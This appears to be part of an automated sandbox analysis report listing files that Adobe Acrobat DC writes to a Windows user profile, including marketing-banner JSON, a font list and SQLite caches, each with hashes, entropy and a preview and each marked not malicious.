SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3563793774593265
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJM3g98kUwPeUkwRe9:YvXKX/d1jx2Zc0vagGMbLUkee9
MD5:	17D49C1775EEEEB8F0A99E91D38A5048
SHA1:	E4BD870202EFB9A037910D709838470F2E3106AC
SHA-256:	F0A3665F09DDB1BD1495F2841BAD0B2A923DB7387A2173CC9FB0E69188201846
SHA-512:	94746BC7C5F6D3C50741FC2A0289164EA87DE9905C5D9DE530D60D2C2DFC73D9192B3698F7D04653C916EF84D44475F74CD65277225AC7236989BAA8DF2F8EE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306701947685828
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfBoTfXpnrPeUkwRe9:YvXKX/d1jx2Zc0vagGWTfXcUkee9
MD5:	5A04B5C57B2DAACD7D72523C8912A2F4
SHA1:	311A7DBF4B838F1B14BEE363D99CC1F5F93BDE0B
SHA-256:	E066E03DA43D0A57B5A7C64D89068E5ADC0ED195D313B8F936503464ABEDE881
SHA-512:	FA5EB625655D8181AC614D8EA357B33FF8B10D4B2C62E9EAFDB8A17653EF5BE32F85935CC953CA4B3B035031F970B29D5A440AD24DA5FAD3CEF8EC2443045914
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284961443043636
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfBD2G6UpnrPeUkwRe9:YvXKX/d1jx2Zc0vagGR22cUkee9
MD5:	92B2723096DF41E435B7262D5F9FCDE1
SHA1:	9FE8FA1B3363DA29AF2C7B56440825BB8ACD313B
SHA-256:	377A3891133694DA1554395590300B2BC660A7B89C817CC29A959944478C9EA2
SHA-512:	44769CAB56A772DB05F0BF84B25FC02A24EEB8174D3EE6F0F69E2EC117D97F85656EAAAA027130EF0ABF3A9687CAB3EFFAB1E9D3EA9BDEB50578D095ADA1CF31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343144830712105
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfPmwrPeUkwRe9:YvXKX/d1jx2Zc0vagGH56Ukee9
MD5:	A9676646231A1FD0E24B6523101F9DFB
SHA1:	FC18F6841E4FE17BC6A4A859A696C351296972B8
SHA-256:	E1586FD7AD055D4B66A13A6BA990C7D40B23C43F6F89772A4A2EE936AA479494
SHA-512:	A416E48F00F12C3AB71DFA83703A99F16C987A205FC1D97635FBBF953EF18E6AE14EFAD6B353628220ABBB8BE19452E72CE2F2BD436D75B4E521CC619501D253
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685584531491128
Encrypted:	false
SSDEEP:	24:Yv6X/fwzva9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSMV:YvofYchgy6SAFv5Ah8cv/W
MD5:	318C980569CEE7608AC18236B11B031A
SHA1:	557BF89008645589FC62773784E59F8DABC5F0CC
SHA-256:	F356DED3D72A18521DDA9331BB9113016190AFA21E630961D21EC3859D2CBF59
SHA-512:	ACF34D8969C392A947912CEB765BA7BF6052BA03C49759F354A4AF1B4FD5B84261B491DFA57D196411138E04F43EDAE0EA28708B07722E3B1901E302B603B7B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290078415230937
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJf8dPeUkwRe9:YvXKX/d1jx2Zc0vagGU8Ukee9
MD5:	544922A7DB34749BC1DD688A023A0EEF
SHA1:	C237D38591FF7B8EB92C2FF2AE061EC398AB7503
SHA-256:	B22C32D6072D621600CE39D2F23355022D7BFFAEAC842D331DD5472AA212C0BB
SHA-512:	D5B540B59A38F7D5EE5C8072613B56F7A5FE4E7995046EAC1A6FE12FF88467C9A74DFAB7331075D3FA0F7162A91575825EEE337A3C777725C8B78BE1EE197BBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294937210464752
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfQ1rPeUkwRe9:YvXKX/d1jx2Zc0vagGY16Ukee9
MD5:	1217876E41D516B5C7581FFF20F80676
SHA1:	964446D5E0188333EE9123B13D93B07A8C418539
SHA-256:	3A6201623421ADC2329F0C1C534717D6BC97697E0F1BB4C5B195B9E67A2FBBBE
SHA-512:	8BB0C6905616D51F51B43B05C84405A4DC06CBD736274C01EBE020A63E97905CEE0A86C6C13673BC9FEBAE34F47FD86ECBE67B70A13957DD90B5CB8CF13014CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300386669030401
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfFldPeUkwRe9:YvXKX/d1jx2Zc0vagGz8Ukee9
MD5:	6ED844FA4D9CEB001E2AA1F29E02E24B
SHA1:	DB9F474FED744E741E1A39C119C669C7E7ECA1E4
SHA-256:	D974A25B9698E17B9D60D0C4731096D6EBE596AA3DF2C55D879F5FAD7490E377
SHA-512:	42C5DA2905D8B98AC648AD0FC9A7283D326C6604AE5908C597F872093290087C0F40B6120ACDB5E504D7B6609F3E6A95889F530124E436A2BB78BF1856E08CD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.315557846928956
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfzdPeUkwRe9:YvXKX/d1jx2Zc0vagGb8Ukee9
MD5:	04636F12B2261CE2F34CA434B7EA6855
SHA1:	C4FF6C3F93F7924C51972CF2B7E9750AD287659B
SHA-256:	15A3BA1910593B1ABD62C9A0DE270361E1595557D9930CDFFB28AF2AEEEB352A
SHA-512:	F165D2C0C570696E65A55B76B83765E79260DE995AEAEDC40F291689BBF64E8D18179D0B2082B26EE7FF534E70C5A3818E4DCC429B8476FE9555F16D2D82DBA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296662914179029
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfYdPeUkwRe9:YvXKX/d1jx2Zc0vagGg8Ukee9
MD5:	C7B9A883C3FE8AC22E5F3E480BC25978
SHA1:	123BCCDDB770B96BAADE2FFA037B3CB8B3E7F5EE
SHA-256:	40450F6F78DCED6D7222DAAC50A09071105A0D1F2AB8B7EF6B53E3C11731FFCD
SHA-512:	97485FA8EF2EA21D72D705131D06A2D079E1309DEC82C9F96AA2E0034829B9A13AA079C6ECC537A5DEAD8D266182F449901492176F761D7E1E6F71CBF4BF45F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282654535490971
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJf+dPeUkwRe9:YvXKX/d1jx2Zc0vagG28Ukee9
MD5:	6EE783FFC09252586D80D193AACA61AC
SHA1:	1585EFF892CBB6C1549E0F60C86D9DE87A0EB8DE
SHA-256:	D61C755073C82F8604DE3DAAC658722FECCD87753CCE5673FBD945B08B491F91
SHA-512:	2D12F01A6531A53055B187DFF6FD5B9BE2E9C0B461711452AF1138EB7E8D7583DB557F47584B113EA81E4156D31186DA4515BF68CBD719E49ED71CEE21201B23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2802329471506315
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfbPtdPeUkwRe9:YvXKX/d1jx2Zc0vagGDV8Ukee9
MD5:	47A21B18765C91BD5EAD1FFE7FF1A124
SHA1:	ABF6690AAA2120D8F6921C175C33BB6B30C4D876
SHA-256:	86F97B5C8CA76B6020AA9D779742526A7368B6E0B79404BF4C5064A75F76C591
SHA-512:	3072ABCF1B0D80797261627D3973FF9D3D80EAC4AA966880B77F498EDF98D20494F623FFC54470A40553788957337D48721F6F39B62893D032DCD5C9D7A43877
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285413486289008
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJf21rPeUkwRe9:YvXKX/d1jx2Zc0vagG+16Ukee9
MD5:	68B41FF9F288230FFCE406DD4CD5F613
SHA1:	2073D8EBDAD93C23C1B3B8F0330260378CEFC27F
SHA-256:	DC37C0A2D2F273CB88B8BCC602B01C2B9CECC43FCA97B5415EF9D62EFD16B1F3
SHA-512:	72788DED8169460C4E10A2743C6834EBAA880C1DF9315C525CABDDFCAA88A598A457449C61D8605C215375E4F31F7F807EA400E9A61683737CE9EEB9DF358C67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.65844931147373
Encrypted:	false
SSDEEP:	24:Yv6X/fwzvaFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSMV:YvofYuBgkDMUJUAh8cvMW
MD5:	55D6BECA3065A24FA7F28B9789F69012
SHA1:	DA49903DA2D36EB6CA227F3FCC03C5C47225A4D6
SHA-256:	078AC321F6FB64A933A4B68490F13D9B692511D58FA49F61099CBE825C6E951E
SHA-512:	B0BF2927E801005CC90D7585E987A5E2070A61DF3B5CD3A50C0B154C4D31E26CE09105D304EFD8CAE8FC6FC9F74A99FA85C60F7703C752A8DEAB706A45007990
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261186619471532
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJfshHHrPeUkwRe9:YvXKX/d1jx2Zc0vagGUUUkee9
MD5:	FDE3EBDD13EED70792DCD46910770460
SHA1:	B812C0FA76A88825EE02B8C3CF2EA2335ED3651B
SHA-256:	8282BE27EAC3586C9FE64C375A01FA3A64F6FBCBE688E3E1E8277C235483A84B
SHA-512:	8039EC21F384B3A67B7A1259C098B035F67369EE9FF7CE1C7AF480E42D5023482940DBEF4427BF70DBACB67CC7C2DED044AE219F2DD35749F853E042EA9C1779
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.269013475224042
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/d1FNxHVoZcg1vRcR0YGQfoAvJTqgFCrPeUkwRe9:YvXKX/d1jx2Zc0vagGTq16Ukee9
MD5:	4EC070C13197A070877DD4A210B37469
SHA1:	CEC99BA1346D7E3C9942F0F3427A5AB77C214764
SHA-256:	594D3815EE464022F1C63664BEF8C08B599A17739CDF4FE114B66D63998C4793
SHA-512:	EB973D9E45A12CA41361D0B7827C28AB9A10A9684C6845429A6F1384085B15B60D467B93B3DE31A8E49C429888B661432590D89D53F2CC8AA33E5E5E84268FA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f19b846a-6ace-4270-ab63-3076d5074a3c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736692665412,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136241309052737
Encrypted:	false
SSDEEP:	24:YEXYai3ayDVz+W+0lQ2IIHweTUj6sBBsj0SwZk3b/k2IY2LS6CszXrWBkD5T2Bhn:YpyW+HI66c+1Y+gRzXkg9mh9eaL
MD5:	28D09C0B8AD5FAB48D8CC37B77695C3D
SHA1:	623D3B1852459A66960822ED9053584765201900
SHA-256:	D99109B1A9234B9BB534B2904577883727C15DFF3882DE8A52A41A80E4F3306A
SHA-512:	4EE723F09C8608808F96793475EA32A735ED9BD3DB4975711B8DBB728E18DA673847CCA390254B18B15A64A0667EEFA565DBB9D3BD79B2844D1ED829B22F2717
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"dd1f6ccd99f9bdb62ea585c50450b6d1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736516114000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5b81b74f27532334d8f4673e96b6075e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736516114000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1c562d91db01a35a669318564b7142e0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736516114000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"294291687c2d744bbb3a53c609080983","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736516114000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"82e30f9b797740d13ccb86576d811e1f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736516114000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ae2b9883b0b530885ffff8190a355433","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886764904515095
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU8HkSvR9H9vxFGiDIAEkGVvpQHq:lNVmswUUUUUUUUh+FGSItF
MD5:	AFFD4070ED964B7511C0E98205B2144A
SHA1:	F2511C5881A3954F3F67C6ECFCC057F5F8C0A471
SHA-256:	D817E6E42B514C4668416866E2AB0D022D425BE23C41496B31060CA829A087DF
SHA-512:	51E214494C0E7D7B4124C9C41C5577FEB9B2F40E78AD2A8FD87F3B00F6FDEF15D19E987F354680D1208B260CF8811A4216893119A37E249479CB818144D244B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6085085263140355
Encrypted:	false
SSDEEP:	48:7MoKUUUUUUUUUU8HmvR9H9vxFGiDIAEkGVvlqFl2GL7msI:78UUUUUUUUUUNFGSIt/KVmsI
MD5:	EB88A964D29D0F5634C42251EE27B862
SHA1:	3EAE02D1E1DF3E00B0C4C31208C800F27DA89202
SHA-256:	27257B89DAD1DEBEC01CCBC8912DEC2CEEFF5EC1125DCAF802F1ECBC15334A71
SHA-512:	E635D6811590B0931547830A33EC9E8AE98E99E725EDC064B0CA7EE598230FCDF0A610149F672246C3969A203625B0EF296525BF053B87F1CA259D10A1F46CFD
Malicious:	false
Preview:	.... .c.....z\-.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgCcUaxzF7/zNyhe8APJxNRVCUNYyu:6a6TZ44ADECbaxzF7/zNyQrjK
MD5:	99631785E9C8403E9AA21E6266130C13
SHA1:	103BBAC773AACFA2213128AA89842AAE95B9FCBA
SHA-256:	3C576A8548DD4E875B1F827F74243910212FD99ADBC0398DE5F3118EC97E9F6A
SHA-512:	49CA06A38F20DCCDF584FA9202AB7D3622C2B16AD49D5F5BB4675DD777BF636541D3ADD7B9ED2AA13FF66E2D9276EB257D24F71208726A98822606A146A706CD
Malicious:	false
